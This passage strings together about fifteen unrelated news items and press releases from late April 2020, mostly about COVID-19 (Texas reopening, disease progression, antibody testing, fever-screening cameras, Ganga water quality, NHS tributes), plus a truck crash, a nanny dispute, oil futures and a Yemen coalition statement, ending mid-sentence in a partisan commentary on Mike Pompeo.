operations, too. Hospitals will need to maintain 50 percent of their capacity for COVID-19 patients. Meanwhile, places of worship and churches that were permitted to stay open during the stay-at-home order of Texas will be allowed an expansion of their capacity as well, as long as social distancing guidelines remain enacted. Hair salons, barbershops, and bars, on the other hand, will still remain closed. Well-Supported Plan The plan, which, according to Gov. Abbott, has the support of both the federal health officials and the state, is part of the tactic to reopen businesses progressively. He emphasized that by May 18, if no new spikes of contamination are detected in Texas, then he will be moving forward to the second phase, during which most of the businesses will operate at 50 percent capacity. He explained that the state will open businesses in a manner that engages safe standards. In addition to that, he also noted that places such as Singapore and China have both seen the second wave of contagion after they reopened. This is the reason why everything cannot reopen all at the same time, as Abbott explained. As of this writing, Texas has recorded more than 25,000 confirmed COVID-19 cases with over 600 fatalities. But it is among the states that have presented plans to open their economies soon. The Announcement of Abbott comes as the present U.S. administration draws up new guidelines for how schools, churches, businesses, and restaurants can safely open across the nation. Relatively a draft of the plan of the White House includes recommendations like the use of disposable menus in restaurants, closing break rooms at offices, and having students eat lunch in their respective classrooms. Check these out! How COVID-19 progresses from incubation to recovery has implications for everything from how long people may spread it before showing symptoms, to how long people can be expected to occupy resources such as ICU beds and ventilators in hospitals. Here's a closer look at what has been learned about how symptoms develop from international studies and interviews with front-line doctors. Note that the averages represent typical cases, and there tends to be a wide range at all stages of the disease. CBC News Incubation period The period in which a person is infected but shows no symptoms appears to average around five to six days, although it can vary from one to 14 days, according to the World Health Organization and Chinese data. Because people without symptoms aren't usually tested, positive tests typically represent infections that happened on average five days and up to two weeks earlier. Studies also suggest people with no symptoms or mild symptoms are responsible for most of the spread. Mild to moderate symptoms Even those who go on to experience more severe symptoms typically begin with mild symptoms, most often fever and a dry cough, although they can also include more unusual symptoms such as loss of taste and smell. Symptoms will remain mild in about 80 per cent of cases, the WHO says, until recovery in about 14 days. Typically, the cough lasts a week longer than the fever, a Chinese study found. Patients with mild or moderate symptoms are told to recover at home. A key, more severe symptom that sometimes leads to hospitalization is shortness of breath or dyspnea, which shows up on average five to six days after symptoms began, Chinese researchers reported in medical journals JAMA and The Lancet. For more details, read these personal accounts of what it's like to have a milder case of COVID-19 from Kym Murphy of Saint John, N.B., David Anzarouth of Toronto and Todd Rowan of Saskatoon. CBC News Hospitalization Studies in China and the U.S suggest that most patients who are hospitalized are admitted, on average, about a week after symptoms begin. Story continues In Canada, patients appear to be sickest at about that time, said Dr. Bram Rochwerg, site lead at the Juravinski Hospital intensive care unit in Hamilton and an associate professor at McMaster University. However, other studies show wide variations in when patients are hospitalized the average time from symptom onset varied from 1.5 days in one Chinese study to 11 days in another. The rate at which people are hospitalized and admitted to ICU and how long they spend there can vary from country to country. Rochwerg said that timing depends partly on criteria for hospitalization. Some hospitals in China admitted most patients who showed up, while many hospitals in the U.S. and Canada have been more restrictive, sending patients home unless their symptoms are severe. Two Chinese studies found that patients who are hospitalized in general wards typically stayed for an average of 10 or 12 days. Those who died in general wards tended to do so in about the same amount of time, the same studies found. WATCH | COVID-19 patient 'would beg' Canadians to listen to top doctors: ICU admission and stay A key symptom that often leads to ICU admission is acute respiratory distress syndrome or ARDS. That is lung inflammation and fluid build-up in the lungs that stops air from getting in and causes blood oxygen levels to drop. Acute respiratory distress syndrome typically requires life support such as mechanical ventilation that must be administered in the ICU. The onset of ARDS has been reported to average eight or 11 days after symptoms begin (about one to three days after hospital admission) in Chinese studies in JAMA and The Lancet. ICU admission typically follows within two days. Rochwerg said at his hospital in Hamilton it's not unusual for patients with ARDS to be admitted straight from the emergency room into the ICU. ARDS is part of an exaggerated immune response called a "cytokine storm," that can also lead to complications such as acute kidney damage. Fei Zhou/The Lancet/Elsevier Very sick patients died on average four or five days after being admitted to ICU, Chinese studies found. In Italy, patients averaged seven days in the ICU before death. Those who eventually recovered spent longer in the ICU, averaging eight, nine and 14 days in studies from China, Italy and the U.S. respectively. There's a wide variation. Dr. Rob Fowler, chief of Sunnybrook Hospital's trauma and critical-care program in Toronto, told CBC News earlier in April that dozens of COVID-19 patients have come through his ICU and required care lasting for "many, many days to many, many weeks." Rochwerg noted that while the virus is the trigger, it's actually the body's own response that generates severe complications, such as ARDS. "That's the reason they stay critically ill for five days, a week, two weeks," he said. That's much longer than the three days spent in ICU by average critically ill patients without COVID-19. This is why experts say COVID-19 patients tend to accumulate in ICUs and the pandemic poses such a challenge for health systems. Graham Hughes/Canadian Press Post-ICU recovery Most studies didn't describe how long patients spent recovering in hospital after leaving the ICU. However, Dr. Kenneth Lyn-Kew, an associate professor of pulmonology and critical care medicine at National Jewish Health in Denver, told Scientific American that it can take two days to two weeks. Rochwerg said patients typically discharged from the ICU spend at least as much time as they spent in the ICU recovering in general hospital wards, if not more. "But everyone is different." Some, he said, may even require extensive rehab or long-term care afterward. A 64-year-old truck driver from Jersey City was seriously injured when his tractor-trailer overturned on a New Jersey Turnpike exit ramp on Monday morning, authorities said. The tractor-trailer went off the left side of the road on the southbound exit ramp at Interchange 13 in Elizabeth at about 9:30 a.m., State Police said. The trapped driver was partially pinned under the truck and had to be pulled free by Ellzabeth firefighters, officials said. He was then flown to University Hospital in Newark, where he remains Tuesday morning. Elizabeth firefighters rescued a truck driver partially pinned beneath a tractor-trailer that overturned on a New Jersey Turnpike exit ramp Monday, April 27 2020. (Photo courtesy: Elizabeth Fire Officers IAFF Local 2040) Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. Jeff Goldman may be reached at jeff_goldman@njadvancemedia.com. Follow him on Twitter @JeffSGoldman. Find NJ.com on Facebook. New York, New York--(Newsfile Corp. - April 28, 2020) - Sun Kissed Industries Inc. (OTC PINK: SKDI) ("Sun Kissed", "SKDI"), an emerging leader in the CBD Food and Beverage marketplace, is pleased to announce Ilan Freeman, CEO of Products Group Inc, DBA/ Hakuna Supply ("Hakuna" or the "Company") has been invited to a podcast by Stock Market Podcast. Hakuna Supply Logo Cannot view this image? Visit: https://orders.newsfilecorp.com/files/6700/54968_hakunalogo.jpg In the podcast, Ilan Freeman discusses the current state of Hakuna, Numuni, growth initiatives, M&A and its position in the CBD infused drink market. The global cannabis beverages market is estimated to reach near $3 billion by 2025 according to Grand View Research. In 2018, and through 2025, the largest and fastest growing segment is projected to be non-alcoholic drinks. Hakuna CEO, Ilan Freeman, commented "We are honored to have been selected for this podcast. Our team at Hakuna has been working diligently through this COVID-19 pandemic, continuing to produce strong results both on the production as well as M&A fronts. Looking forward to the release of the podcast next week bringing you the latest exciting developments at Hakuna." Carl Grant, CEO of Sun Kissed, said "Since acquiring Hakuna, both companies have found a strong working synergy, leading to rapid expansion on multiple fronts for both companies. We anticipate a lot of exciting growth with the additional marketing directions Hakuna is taking in conjunction with the recently announced Numuni acquisition." The company will put out a press release on Monday May 4th, 2020 with the link to the podcast. About Sun Kissed Industries, Inc.: Sun Kissed Industries Inc. (OTC PINK: SKDI) is an emerging leader in the CBD-based products marketplace. The Company is pursuing meaningful acquisitions as part of an aggressive M&A strategy designed to position Sun Kissed as a dominant player in a well-defined, high-growth niche within the rapidly expanding CBD sector. About Supply Group, Inc./ DBA Hakuna: Hakuna is a well-established retail CBD Company, based out of California. It sells a range of leading consumer products spanning the premium CBD coffee, CBD tea, CBD Drink Drops, CBD Gummies, and CBD Flower product markets. Hakuna is currently nominated for "Best Hemp-Derived CBD Product" by the California Cannabis Awards after winning the DOPE Magazine Best New Product award for Southern California in the non-cannabis/non-tech category in 2017. FORWARD-LOOKING STATEMENTS: This press release may contain forward-looking statements, including information about management's view of Sun Kissed Industries Inc.'s future expectations, plans and prospects. In particular, when used in the preceding discussion, the words "believes," "expects," "intends," "plans," "anticipates," or "may," and similar conditional expressions are intended to identify forward-looking statements. Any statements made in this news release other than those of historical fact, about an action, event or development, are forward-looking statements. These statements involve known and unknown risks, uncertainties and other factors, which may cause the results of Sun Kissed, its subsidiaries and concepts to be materially different than those expressed or implied in such statements. Unknown or unpredictable factors also could have material adverse effects on Sun Kissed's future results. The forward-looking statements included in this press release are made only as of the date hereof. Sun Kissed cannot guarantee future results, levels of activity, performance or achievements. Accordingly, you should not place undue reliance on these forward-looking statements. Finally, Sun Kissed undertakes no obligation to update these statements after the date of this release, except as required by law, and also takes no obligation to update or correct information prepared by third parties that are not paid for by Sun Kissed. SOURCE: Sun Kissed Industries Inc. Contact: invest@sunkissedindustries.com Hakuna Supply Logo Cannot view this image? Visit: https://orders.newsfilecorp.com/files/6700/54968_hakunalogo.jpg NuMuni Logo Cannot view this image? Visit: https://orders.newsfilecorp.com/files/6700/54968_numuni%20logo.jpeg To view the source version of this press release, please visit https://www.newsfilecorp.com/release/54968 Aluna's Digital Spirometer at Home Aluna has changed, and will continue to change, the way I practice medicine. Aluna, the San Francisco Bay Area-based respiratory health management company, announces that since its FDA clearance, the demand for its portable spirometer has surged. With shelter in place orders, amid COVID-19, more medical professionals (and their patients) are seeking devices like Aluna to help manage lung health from home. With Aluna, patients can easily monitor their lung health, while doctors gain instant access to daily FEV1 scores. This platform can catch early signs of respiratory events, like asthma attacks, and help reduce unnecessary trips to the ER. So now, patients with compromised health dont have to risk exposure to COVID-19. Aluna advances the use of telemedicine, offering its users a platform to manage and learn more about their lung health from the comfort of their home (or on-the-go). Its innovative product monitors lung health, effectively mimicking the spirometry exams typically performed in a doctors office. Its small handheld device pairs via Bluetooth over an iOS app allowing the user to see instant results, log them over time and then export the data to their doctor. "Aluna has changed, and will continue to change, the way I practice medicine. We partnered with Aluna when it was still undergoing research & development and began rolling it out to our patients. It allows you to perform spirometry at home, rather than just once or twice a year in the office. With Aluna, we can track symptoms, triggers, medications, lung function and composite scores to improve outcomes. " - Dr. Travis A Miller, MD, The Allergy Station, Roseville, CA Though their digital spirometer is a small, sleek device, Alunas team emphasizes the spirometers hospital-grade level of accuracy. Also, due to a large number of kids with asthma and other respiratory issues, the accompanying consumer app is designed to engage and motivate users to check their respiratory health daily. Amid COVID-19, there is an enormous demand for Aluna and our respiratory health management. We are honored to have received FDA clearance and excited for doctors and patients to experience Alunas spirometer, app, and dashboard, which allows doctors to review FEV1 scores in real-time. Charvi Shetty, CEO of Aluna Physicians that are interested in experiencing the Aluna Respiratory Management platform for their practice, should contact Aluna directly at doctors@alunacare.com. Consumers can find more information at alunacare.com. You can find the Aluna Press Kit here. -- About Aluna Alunas mission is to provide clarity, peace, and control of your respiratory health. Aluna was founded by Charvi Shetty, Huyson Lam, and Inderjit Jutla, and is located in San Francisco, CA. For press-related inquiries, please reach out to press@alunacare.com. As if being cooped up in their Kleinburg home because of the COVID-19 pandemic wasnt bad enough, one family felt like they were living through a bizarre movie when the nanny they decided to let go due to her worrying behaviour barricaded herself in her room and refused to leave for 10 days. It all began for the Milnes family after deciding to hire a nanny, who would watch their children and also be willing to do chores around the house, such as cooking and shopping. The first nanny, hired from England, left to be with her boyfriend. In a pinch, the family, which includes three children a 10-year-old boy, six-year-old girl and a three-year-old girl realized they needed to act fast. We were in a panic, said father Ryan Milnes. So after hearing from a lady from Georgetown, they conducted a FaceTime interview before eventually hiring the woman as the first nannys replacement on Feb. 1. The family set her up with a bedroom with ensuite bathroom, the keys to their vehicle, her own WiFi and a cellphone. The first week went very well, great meals and a tidy house, prompting the family to think theyd hit the jackpot. However, it wasnt long until cracks began to show. Milnes, who runs a software firm, said by the third week the woman was locking herself in her room for days on end. My son would call us saying there was no breakfast and she was still in her room and wouldnt come out, even missing the school bus, he said, explaining how, at one point, she racked up an $800 charge on his bank card at Indigo. They were gifts for the children, so she had good intentions, but it just wasnt appropriate. After the one month review, the couple decided to let the nanny go, promising to pay her for an extra months salary. But soon after that conversation, she locked herself in her room, refusing to come out or speak to the family. With little option, Milnes called York Regional Police and despite being very nice to him and his family, he said the officers didnt understand the law. They kept saying its a Landlord Tenant Act issue and we cant remove or evict anyone during COVID-19, said Milnes. But the reality is that if you are sharing a kitchen with the person, its a trespassing issue and she should be removed. Nonetheless, he said the officers did help negotiate a deal. The nanny requested $3,000 and two months at a hotel, before finally agreeing to $2,000 and one month at a Wasaga Beach resort the family had access to. I started to feel like I was being extorted, he said. But I agreed. But then the nanny stopped communicating with Milnes again. The next time police arrived, the nanny was firm, saying the deal was off and she wasnt leaving. Milnes grew frustrated and put out a Facebook post that went viral. He had countless replies, including one from Brian Cuban the brother of American entrepreneur Mark Cuban and a phone call from a sympathetic chief executive from California who suggested the family move out of the house, turn off all the utilities and blast music at all hours of the day. So many people wanted to help, Milnes said. But sensory deprivation seemed a bit extreme. Finally, Milnes brother-in-law came up with a plan. They brought in two friends who removed the door, displaced the barricade shed set up and reclaimed the bed and anything else belonging to the family, including the dresser and TV. Following that, Milnes shut off the WiFi and her cellphone. The woman called police, reporting a break and enter. The officer who arrived proved to be Milnes saviour. After negotiating with the nannys aunt, the officer was able to contact her mother, with whom the nanny hadnt spoken in years, and the pair patched things up. Milnes said he provided her with an Uber to take her home after shed filled the Nissan Pathfinder full of her belongings and her cat. When they finally inspected the room they found she had filled large vases full of water in case the family cut off the water, had three huge bags of Kitty Litter and food, which shed been cooking on a hot plate in the closet. She was a sweet person, but seemed very volatile, he said. We had no idea if she was mentally unstable. But when she left, we just wanted to celebrate. In the aftermath the family said they have found a new nanny from Italy, whom they adore. Milnes said he decided to come forward in order to help others caught in this situation. York police Sgt. Andy Pattenden confirmed that a woman was removed from the home on April 18. Our officers were called to the residence for a report of a break and enter in progress, he added. Once on scene they found that this was a case of an employee who had been living in the home while working and was no longer employed or permitted back into the residence. Our officers maintained the peace and thankfully both parties were able to work out an acceptable arrangement. As Governor Bill Lee focuses on expanding COVID-19 testing, the Unified Command Group is working to provide information to help Tennesseans understand how serology, or antibody, can, and cannot, inform the states re-opening strategy, his office said Monday. Officials said, "Although the research is still ongoing, this will give us a first estimate of the number of Tennesseans with COVID-19 antibodies, which will assist us in developing our strategy for more widespread antibody test of the general population. "The Tennessee Department of Health will be distributing a technical brief to health care providers in Tennessee with details about antibody testing and its limitations. TDH is also working on a plan to test of up 10,000 health care workers in Tennessees public teaching hospitals." Q: How is a COVID-19 antibody test different than the nasal swab test I received at the health department? A: An antibody test involves taking a blood sample to detect cells in the body that have previously been exposed to, and fought off, a virus. A nasal swab test only detects whether a patient currently has a viral infection. Q: It seems there are many antibody tests already available, doesnt that mean the tests have been approved and proven to be effective? A: The U.S. Food and Drug Administration has only approved six COVID-19 antibody tests for clinical use, and most of these have not been widely distributed. There are many antibody tests in the FDAs pipeline and may ultimately receive approval. However, most of the antibody tests ready for use have not been validated. Q: Isnt it better to know whether or not Ive had COVID-19 by getting an antibody test? A: The primary issue with these unproven antibody tests is they can give patients false-positive results by detecting other types of coronaviruses, usually the kind that cause the common cold. A false-positive result may lead to a conclusion that a patient has immunity to COVID-19, when what the test really shows is, at some point in time, the patient was exposed to another type of coronavirus and its antibodies are present, not the antibodies for COVID-19. Q: If I have antibodies in my blood, doesnt it mean Im immune to COVID-19? A: There is not enough data yet on COVID-19 antibody testing to prove having the antibodies will prevent a person from being re-infected with COVID-19. There are some indications most, maybe not all, people who have been infected with COVID-19 will develop antibodies in their blood that can be detected for a period of time. There isnt enough data to confirm this is true, or if it happens to be true how long the immunity will last. Earlier Monday, Governor Lee participated in his weekly call with the White House. He said, "There was significant conversation around rebooting the economy and expanding testing, both of which we are aggressively pursuing in Tennessee. "The Trump Administration continues to be accessible and insightful as we work together to fight COVID-19 and get our people back to work." On Friday, elective medical procedures will be allowed to resume "so Tennessee nurses and other hospital workers can get back to work." The governor said, "Its important to get hospitals back online with elective procedures so Tennesseans can safely resume more routine services, including scheduling quality of life procedures. Procedures like routine screenings and joint replacements are included in this first wave." He said the state of Tennessee "will continue to weigh appropriate measures to ensure we are fiscally conservative through this pandemic. I have directed the Tennessee Department of Finance & Administration to temporarily freeze any new non-mission critical hires to our states workforce. "At the state level, we will continue to keep employees working from home until May 26. This means that state services can continue without disruption as we work towards the gradual return of working in office." Universal Guidance for Tennessee Businesses can be accessed here. Restaurant Industry Guidance can be accessed here. Retail Industry Guidance can be accessed here. Additional information on Tennessee's Economic Recovery Group is available here. Researchers in Brazil have created a system capable of measuring body temperature from a distance and in crowded environments, such as hospitals, supermarkets and factories. The system aims to detect people with fever one of the most frequent symptoms of COVID-19 and prevent the virus SARS-CoV-2 from spreading. The technology, called Fever, is based on algorithms and artificial intelligence connected to a camera. It captures images of faces and detects infrared energy radiation by measuring the temperature of the corners of the eyes, where the lacrimal channels are located. The system is already being used in the Albert Einstein hospital, a private medical facility in Sao Paulo, which has the most recorded COVID-19 cases in Brazil. Set up at the hospital reception, it can capture and analyze the face of every person who enters the facility. The tear ducts are ideal places to assess body temperature by thermography as they are structures without epidermal coverage, with relatively stable humidity and vascularity close to the brain, where the body's thermal control is performed." Paulo Gurgel Pinheiro, chief executive of Hoobox Robotics When the system detects fever it triggers a camera, which takes a photo of the person and sends a notification to nursing staff. "It has shown to be an effective way to screen people arriving at the hospital and direct those who have fever and eventually COVID-19 infection to another space designed to receive them," Pinheiro adds. He declines to say how much has cost to develop the new technology, instead emphasizing the importance of increasing the safety of other patients and the hospital staff. "Any technological solution that contributes to mitigating the COVID-19 pandemic effects is welcome at this time," Marcus Lima, a researcher at the School of Mechanical Engineering at the University of Campinas, one of Brazil's biggest centers for research in this field, tellsSciDev.Net. He says computational vision in this case can extract more information than just a person's body temperature. "The system can use the image to estimate the age, the gender, and even determine if the person is registered in the hospital database, generating data of high value to doctors and researchers to better understand the pandemic dynamics," says Lima, co-founder of Acta Visio, a company created in 2017 to develop solutions based on computer vision. Lima and his team are working on the prototype of an image-processing system called Asepguard, which monitors hand hygiene among healthcare professionals. It aims is to reduce every kind of infection, including COVID-19, and provide quantitative data that can help hospital managers evaluate sanitation procedures. The first tests involving Asepguard were conducted last year at the Cajuru University Hospital in Curitiba, Parana, in partnership with hospital management company 2iM. Researchers are now considering how to move forward with technology. While there may be benefits from these new technologies, there are also ethical considerations. For Paulo Gardel Kurka, a mechanical engineer also at the School of Mechanical Engineering at the University of Campinas, one important consideration is the security of the information collected. "Who will own the patient's face image? What else will the information about the health, or the lack of health, of an individual be used for? How can this information be protected from criminal actions? These issues are among the biggest challenges involving the rapidly advancing of the digital revolution in the world," Kurka says. Brazil, like many countries around the world, does not have legislation for the use of computational vision or similar technologies, making these concerns all the more relevant. Syracuse, N.Y. Dunkin will be giving out free coffee and donuts next week to healthcare professionals to celebrate National Nurses Day. On May 6, all healthcare and medical professionals can get a free medium hot or iced coffee and a donut at participating locations in Central New York and nationwide. No purchase necessary. Despite the coronavirus pandemic leading to the statewide closure of dining areas, Dunkin locations in Central New York remain open for carry-out, drive-thru and delivery through Grubhub. The Coalition: We stress the need to restore conditions to their previous state in the interim capital Aden Saudi Press Agency Monday 1441/9/4 - 2020/04/27 Riyadh, April 27, 2020, SPA -- The Coalition to Restore Legitimacy in Yemen, forefront of which is the Kingdom of Saudi Arabia and the United Arab Emirates, stresses the need to restore conditions to their previous state following the announcement of a state of emergency by the Southern Transitional Council and the consequential development of affairs in the interim capital (Aden) and some Southern governorates in the Republic of Yemen. The Coalition urges for an immediate end to any steps contrary to the Riyadh Agreement, and work rapidly toward its implementation, citing the wide support for the agreement by the international community and the United Nations. The Coalition has and will continue to undertake practical and systematic steps to implement the Riyadh Agreement between the parties to unite Yemeni ranks, restore state institutions and combat the scourge of terrorism. The responsibility rests with the signatories to the Agreement to undertake national steps toward implementing its provisions, which were signed and agreed upon with a time matrix for implementation. The Coalition demands an end to any escalatory actions and calls for return to the Agreement by the participating parties, stressing the immediate need for implementation without delay, and the need to prioritize the Yemeni peoples' interests above all else, as well as working to achieve the stated goals of restoring the state, ending the coup and combatting terrorist organizations. The Coalition reaffirms its ongoing support to the legitimate Yemeni government, and its support for implementing the Riyadh Agreement, which entails forming a competent government that operate from the interim capital Aden to tackle economic and developmental challenges, in light of natural disasters such as floods, fears of the COVID-19 pandemic outbreak, and work to provide services to the brotherly people of Yemen --SPA 04:05 LOCAL TIME 01:05 GMT 0020 NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Authorities in Uttar Pradesh and Uttarakhand have said the quality of water in the Ganga has improved during the nationwide Covid-19 lockdown, with samples collected by a research facility in Varanasi recording a nearly 30% decrease in pollution levels. A study of Ganga water samples collected on March 24, before the lockdown was imposed, and those collected on April 20 showed pollution had decreased by 25% to 30%, said BD Tripathi, chairman of the Mahamana Malviya Research Centre for Ganga, River Development and Water Resource Management at Banaras Hindu University (BHU). Composite samples of the river water were collected from five locations Shooltankeshwar Ghat, Samne Ghat, Asi Ghat, Dashashwamedh Ghat and Raj Ghat on the two dates, he said. He explained that the term composite samples means an average of five samples were collected from different spots of every site to ensure accurate results. We tested biochemical oxygen demand (BOD) and the dissolved oxygen (DO) level in the samples. We found the concentration of DO increased by 20% to 30% and the concentration of BOD decreased by 35% to 40%. In total, the Ganga pollution load has decreased by 25% to 30%, Tripathi said. There has been a very positive effect on the Ganga and the river shows it can rejuvenate itself, he added. Tripathi attributed the decrease in pollution to many reasons, including a decrease of around 40% in the number of bodies cremated at Manikarnika Ghat and Harishchandra Ghat, and a check on immersion of remains of cremated bodies in the river. The discharge of toxic effluents from more than 1,000 small-scale and cottage industries and motor workshops too has completely stopped at Varanasi, he said. The highest transparency was observed during the sampling of water because fish were seen swimming up to a depth of one metre from the surface of the Ganga, Tripathi said. In Uttarakhands capital Dehradun, authorities said a comparison of water quality of the Ganga at different locations from Devaprayag, done between March and April, showed the quality had improved significantly. The water at Har Ki Pauri was found fit for drinking in April, and the state government now plans to work on measures to keep the quality consistent and pollution-free. State forest and environment minister Harak Singh Rawat said: With the latest data on improved water quality of the Ganga, we are going to study it with experts and decide on short-term measures which will help us maintain this quality even after the lockdown. Clearly, nature has cleaned the river on its own due to fewer anthropological activities. Tripathi too said authorities need to take a cue from the lockdown to improve the water quality in future. Data released amid the lockdown by the Uttarakhand Environment Protection and Pollution Control Board (UEPPCB) showed there was a 47% reduction in fecal coliform at Lakshmanjhula. At the barrage in Rishikesh, there was a 46% reduction in fecal coliform and 25% reduction in total coliform. Similarly, at Bindughat Dudhiavan, there was a 25% and 11% reduction in fecal coliform and total coliform, respectively. At Har Ki Pauri, there was a 20% reduction in BOD, 34% reduction in fecal coliform and 17% reduction in total coliform, whereas at Jagjeetpur in Haridwar, officials observed a 17% reduction in BOD and fecal coliform and a 27% reduction in total coliform. UEPPCB officials said there was a significant improvement in water quality at Har ki Pauri during the lockdown. UEPPCB member secretary SP Subudhi said fewer pollutants are entering the river as factories are closed. We studied data from March and April and saw significant changes in water quality after the lockdown. This is mostly due to factories being shut, hotels being closed, and less mobile population in and around Haridwar, said Subudhi. We will be taking samples from the same spots again to reconfirm the findings, based on which suggestion can be made to the state and Central government on how to keep the water quality of the Ganga consistent. Sewage treatment plants in the state are working according to norms and without extra load because of the lockdown, reducing pollutants in rivers. BD Joshi, an environmental scientist and founder of the Indian Academy of Environmental Sciences, said the water quality has improved due to reduced anthropological pressures on the Ganga but this will be very difficult to maintain once the lockdown ends. In the past five to six weeks, the Ganga has cleansed itself but it is very difficult to say how much of this will continue after the lockdown. There is definitely a psychological impact on people due to the pandemic, on how people should respect nature and the environment, which can help us keep the river clean. The government and law enforcement agencies can use this to spread awareness among more people, which gives us hope the water quality might be maintained, said Joshi. Usually, the goods handed out by food banks are pretty basic: canned corn, apples, rice, potatoes. But thousands of people lining up for help this week in San Francisco will find an unlikely surprise in their sacks: 10 oz. American Wagyu steaks worth nearly $60 each. The prized meat was trucked from Snake River Farms in Idaho last week to a warehouse in Fremont and is currently being cut and packaged. The family-owned farm, which focuses on raising its animals humanely, usually sells its Wagyu steak to high-end restaurants, but with those shuttered due to the coronavirus pandemic, the farm is donating their steak instead. And its a lot of steak. The San Francisco haul will be divided into 35,000 steaks and is estimated to be worth $2 million. Volunteers with TogetherSF will deliver the steaks, most of which will go to the San Francisco-Marin Food Bank. Deliveries will also be made to La Cocina, Meals on Wheels, Self Help for the Elderly and public housing sites, among other groups. People may see steaks in their grocery bags as early as Wednesday. Paul Ash, executive director of the San Francisco-Marin Food Bank, said he hadnt yet heard of the steak windfall. Youre breaking the news to me! he said, sounding pleasantly surprised. He said some food distributors are donating high-end products to the food bank since restaurants are shuttered, and he recently received five-pound wheels of cheese from a local cheese company which he estimated to be worth $100 apiece. The need just keeps rising with 50,000 households in San Francisco asking for food assistance 19,000 more than just three weeks ago. The food bank is delivering bags of groceries to home-bound seniors using a hodgepodge network of volunteers, Ash said, including Amazon drivers who pick up the food and deliver it on their routes. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. The steak donation is being coordinated by TogetherSF, a new nonprofit started by Kanishka Karunaratne Cheng, who worked as Mayor London Breeds director of commission affairs, until earlier this month. She left to become a private consultant and run TogetherSF as a volunteer. It recruits people wanting to volunteer during the COVID-19 pandemic and matches them with people and organizations needing help. Volunteers will drive the steaks from the Fremont warehouse operated by Newport Meat, which donated its butchering services, to the various food distribution sites in the city. Its kind of a random thing to have come up, but itll be really nice to see peoples faces when they get something they really werent expecting, Karunaratne Cheng said. Its so rewarding. San Francisco Chronicle columnist Heather Knight appears Sundays and Tuesdays. Email: hknight@sfchronicle.com Twitter: @hknightsf Instagram: @heatherknightsf The UK came together on Tuesday for a minute's silence in the honour of hundreds of healthcare and other workers who have lost their lives on the frontline of the coronavirus fightback across the country. British Prime Minister Boris Johnson led the tributes with UK Chancellor Rishi Sunak at 10 Downing Street for the National Health Service (NHS) and other key workers across care homes and public transport at 1100 AM local time. So far 82 NHS staff are known to have died after testing positive for the coronavirus, including many with their roots in India. The Indian-origin Chief People Officer at the NHS, Prerana Issar, said that the NHS England is considering how to formally commemorate all those who have died while working to care for others once the state-funded health service is through the peak of the virus. The NHS family will come together to pay tribute to all those across the health and care sector who have lost their lives to coronavirus, said Issar. Everyone of them, whatever job they were doing, were making a difference and helping others. That's why we will be joining this nationwide moment to remember those we have lost, and honouring all that they did for us, she said. The tribute comes as the government announced a new time-bound insurance scheme for the families of such public sector healthcare workers who lost their lives while on duty during the pandemic, with a 60,000 pounds Life Assurance Scheme. Financial worries should be the last thing on the minds of their families so in recognition of these unprecedented circumstances we are expanding financial protection to the NHS and social care workers delivering publicly funded care on the frontline, said UK Health Secretary Matt Hancock. Nothing can make up for the tragic loss of a loved one during this pandemic. We owe a huge debt to those who die in service to our nation and are doing everything we can to protect them. We will continue to strive night and day to provide them with the support and protection they need and deserve to keep them safe as they work tirelessly to save lives, he said. He said that bereaved family members will receive a 60,000 pounds lump sum, worth roughly twice the average pensionable pay for the NHS staff, with the cost met by the government. This will cover full, part-time or locum NHS and public health workers, including general practitioners (GPs), dentists, retired staff and second and final year students taking up paid frontline roles. While the details of the scheme are yet to be finalised, it is expected that overseas doctors from countries such as India should also be eligible for this compensation covering their families who may be based in the countries of their origin. The scheme is aimed at those who die from coronavirus during the course of their essential and lifesaving work. This includes those providing direct care as well as cleaners and porters who continue to carry out vital duties in these care environments. The British Medical Association (BMA), the doctors' union lobbying for such a death in service protection, welcomed the new scheme but called for more details to ensure it goes far enough. Whilst this single payment may seem a sizeable sum, it comes nowhere near compensating families for the lifetime income their loved one may have earned if they hadn't died prematurely, fighting this crisis on the frontline. This is particularly true for young or recently qualified staff, said Dr Vishal Sharma, BMA Pensions Committee Chair. Increasing numbers of families are dealing with the loss of a loved one as the death toll for frontline workers rises, they should not also face a future without financial security. The BMA will be examining closely the detail of the government's Life Assurance Scheme, he added. The coronavirus cases in the UK has reached 158,348 while 21,092 people have died, according to Johns Hopkins University tracker. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By Peter Nurse Investing.com - Oil markets saw more volatile trading Tuesday, with the front month June WTI contract lower amid fears that it, too, will turn negative as delivery date looms. AT 9:45 AM ET (1345 GMT), Crude Oil WTI futures traded 3.6% lower at $12.32 a barrel, while the international benchmark Brent contract rose 0.9% to $23.27. Overnight, the United States Oil Fund (NYSE:USO), an ETF that accounts for a large block of exposure in WTI futures, said it would sell off all its contracts for June delivery, replacing them with longer-term contracts. In addition, S&P Global is reported to have told clients to roll all their exposure out of WTI June futures and into July with immediate effect. According to a notice by the company seen by Bloomberg, "this unscheduled roll is being implemented based on the potential for the June 2020 WTI crude oil contract to price at or below zero as well as the steady decline in open interest for the June 2020 contract. S&P Global runs the most popular and biggest commodity index in the world, the S&P GSCI. Investors are wary that WTI futures could repeat last weeks journey into negative territory when its June contract expires on May 19, with no real signs of a recovery in demand and storage space fast running out. "The exodus in our view remains motivated by concerns over the saturation of storage capacity at Cushing and the associated risk of negative pricing," Harry Tchilinguirian, global oil strategist at BNP Paribas (OTC:BNPQY) told the Reuters Global Oil Forum. U.S. crude inventories rose to 518.6 million barrels in the week to April 17, near an all-time record of 535 million barrels set in 2017, while floating crude oil storage has hit an all-time high of 160 million barrels. Argus reported on Tuesday that OPEC member Nigeria has set its official prices for May at discounts of more than $5 a barrel to prompt North Sea (NYSE:SE) cargoes, partly because it lacks onshore storage to wait out better times. At current levels, that would imply much of its oil will sell for less than $10. Story continues More information about storage levels are due later Tuesday, as the American Petroleum Institute will report its measure of crude stockpiles after the market closes. Last week the API reported a rise of about 13.2 million barrels in inventories. Related Articles South Korea Out of Onshore Oil Storage for Third-Party Lease Oil prices fall on brimming storage, bleak recovery prospects Malaysian Palm Oil Exports to India Seen Hitting New Record Low COVID-19 is currently making some severe situations in the US with skyrocketing confirmed cases and deaths, tugging the heartstrings of all the compassionate. However, when the ghastly virus keeps on claiming lives of numerous Americans, US Secretary of State Mike Pompeo exposed his malicious intentions. He spread dangerous political virus just in the way COVID-19 did and fabricated rumors with prejudices and ignorance, which counteracted the joint efforts of mankind to jointly combat the disease and set the whole world into conflicts. Disregarding the rampant 